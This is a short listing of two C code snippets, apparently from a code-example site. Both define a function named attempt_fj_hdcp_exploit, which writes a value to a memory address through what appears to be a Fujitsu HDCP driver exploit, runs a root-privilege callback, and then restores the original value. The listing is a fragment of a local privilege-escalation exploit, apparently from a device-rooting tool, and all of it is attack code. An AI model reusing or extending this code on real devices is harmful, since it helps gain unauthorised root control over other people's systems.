static bool
attempt_fj_hdcp_exploit(unsigned long int address, unsigned long int original_value)
{
  if (fj_hdcp_run_exploit(address, (int)&obtain_root_privilege,
                          run_obtain_root_privilege, NULL)) {

    fj_hdcp_write_value_at_address(address, original_value);

    return true;
  }

  return false;
}
Exemple #2
0
static bool
attempt_fj_hdcp_exploit(unsigned long int address,
                        unsigned long int write_value,
                        unsigned long int restore_value,
                        callback_info_t *info)
{
  if (fj_hdcp_run_exploit(address, write_value, &run_callback, info)) {
    fj_hdcp_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}